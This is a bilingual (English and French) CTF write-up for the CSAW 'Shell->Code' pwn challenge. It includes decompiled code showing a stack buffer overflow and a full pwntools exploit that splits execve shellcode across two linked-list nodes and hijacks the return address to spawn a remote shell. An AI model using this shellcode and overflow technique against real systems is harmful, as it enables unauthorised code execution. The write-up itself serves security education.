CSAW - Shell->Code


Description

Linked lists are great! They let you chain pieces of data together.

nc pwn.chal.csaw.io 9005

You can download the ELF file : here

TL;DR

This challenge uses linked list and leaks an address, the stack is executable, a short shellcode and a relative jump will do the trick !

Methology

Step 1 : Use IDA to decompile the program, find the two useful functions that fills the linked list and expose the buffer overflow.

__int64 nononode()
{
  char v1; // [rsp+0h] [rbp-40h]
  __int64 v2; // [rsp+8h] [rbp-38h]
  char *v3; // [rsp+20h] [rbp-20h]
  __int64 v4; // [rsp+28h] [rbp-18h]

  v3 = &v1;
  puts("(15 bytes) Text for node 1:  ");
  readline(&v4, 15LL);                        // <- Shellcode here
  puts("(15 bytes) Text for node 2: ");
  readline(&v2, 15LL);                        // <- Shellcode here
  puts("node1: ");
  printNode(&v3);
  return goodbye();                           // <- Overflow func here
}

int goodbye()
{
  char s; // [rsp+Dh] [rbp-3h]

  puts("What are your initials?");
  fgets(&s, 32, stdin);                       // <- Overflow here
  return printf("Thanks %s\n", &s);
}

Step 2 : Find a short shellcode, code the exploit, and jump in !

#!/usr/bin/env python2

from pwn import *

shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb"
shellcode += "\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"
# jmp short 0x13 (rip when reaching this instruction - @second)
jmp_rip_p10 = "\xEB\x11"
offset = 11

r = remote("pwn.chal.csaw.io", 9005)
#r = process("./shellpointcode")  # local debugging
r.readuntil("node 1:  \n")
r.sendline(shellcode[15 - 2:])
r.readuntil("node 2: \n")
r.sendline(shellcode[:15 - 2] + jmp_rip_p10)
r.readline()
adr = r.readline().split(": ")[1].split("\n")[0]
print "adr", adr
adr = int(adr[2:], 16)
second = adr + 0x8          # constant offset in the stack
first = second + 0x20       # reach the 2nd buffer, constant offset in the stack
print "second", hex(second)
print "first", hex(first)
r.readuntil("\n\n")
# pause()                  # time to attach gdb and continue
r.sendline("A" * offset + p64(second))
r.interactive()

Step 3 : Run the exploit !

run

Pretty straight forward, I likes this challenge as it requires to find a small shellcode and permute instructions it split it in two small parts without breaking it.

French version

Description

Les listes chainées sont géniales ! Elles vous permettent de chaîner des données ensemble.

nc pwn.chal.csaw.io 9005

Vous pouvez télécharger le fichier ELF : ici

TL;DR

This challenge uses linked list and leaks an address, the stack is executable, a short shellcode and a relative jump will do the trick !

Ce challenge utilise une liste chainée, fait fuiter une adresse, et la pile est exécutable. Un petit shellcode, un saut relatif et le tour est joué !

Methologie

Etape 1 : Utiliser IDA pour décompiler le programme, trouver les deux fonctions utiles qui remplissent la liste chainée et expose le buffer overflow.

__int64 nononode()
{
  char v1; // [rsp+0h] [rbp-40h]
  __int64 v2; // [rsp+8h] [rbp-38h]
  char *v3; // [rsp+20h] [rbp-20h]
  __int64 v4; // [rsp+28h] [rbp-18h]

  v3 = &v1;
  puts("(15 bytes) Text for node 1:  ");
  readline(&v4, 15LL);                        // <- Shellcode here
  puts("(15 bytes) Text for node 2: ");
  readline(&v2, 15LL);                        // <- Shellcode here
  puts("node1: ");
  printNode(&v3);
  return goodbye();                           // <- Overflow func here
}

int goodbye()
{
  char s; // [rsp+Dh] [rbp-3h]

  puts("What are your initials?");
  fgets(&s, 32, stdin);                       // <- Overflow here
  return printf("Thanks %s\n", &s);
}

Etape 2 : Trouver un petit shellcode, coder l’exploit, et jump au bon endroit !

#!/usr/bin/env python2

from pwn import *

shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb"
shellcode += "\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"
# jmp short 0x13 (rip when reaching this instruction - @second)
jmp_rip_p10 = "\xEB\x11"
offset = 11

r = remote("pwn.chal.csaw.io", 9005)
#r = process("./shellpointcode")  # local debugging
r.readuntil("node 1:  \n")
r.sendline(shellcode[15 - 2:])
r.readuntil("node 2: \n")
r.sendline(shellcode[:15 - 2] + jmp_rip_p10)
r.readline()
adr = r.readline().split(": ")[1].split("\n")[0]
print "adr", adr
adr = int(adr[2:], 16)
second = adr + 0x8          # constant offset in the stack
first = second + 0x20       # reach the 2nd buffer, constant offset in the stack
print "second", hex(second)
print "first", hex(first)
r.readuntil("\n\n")
# pause()                  # time to attach gdb and continue
r.sendline("A" * offset + p64(second))
r.interactive()

Etape 3 : Lancer l’exploit !

run

Plutôt simple, j’ai bien aimé ce challenge car il nécessite de trouver un shellcode concis et de permuter les instructions pour le diviser en deux petites parties sans le casser.

CSAW - Short Circuit CSAW - Big boi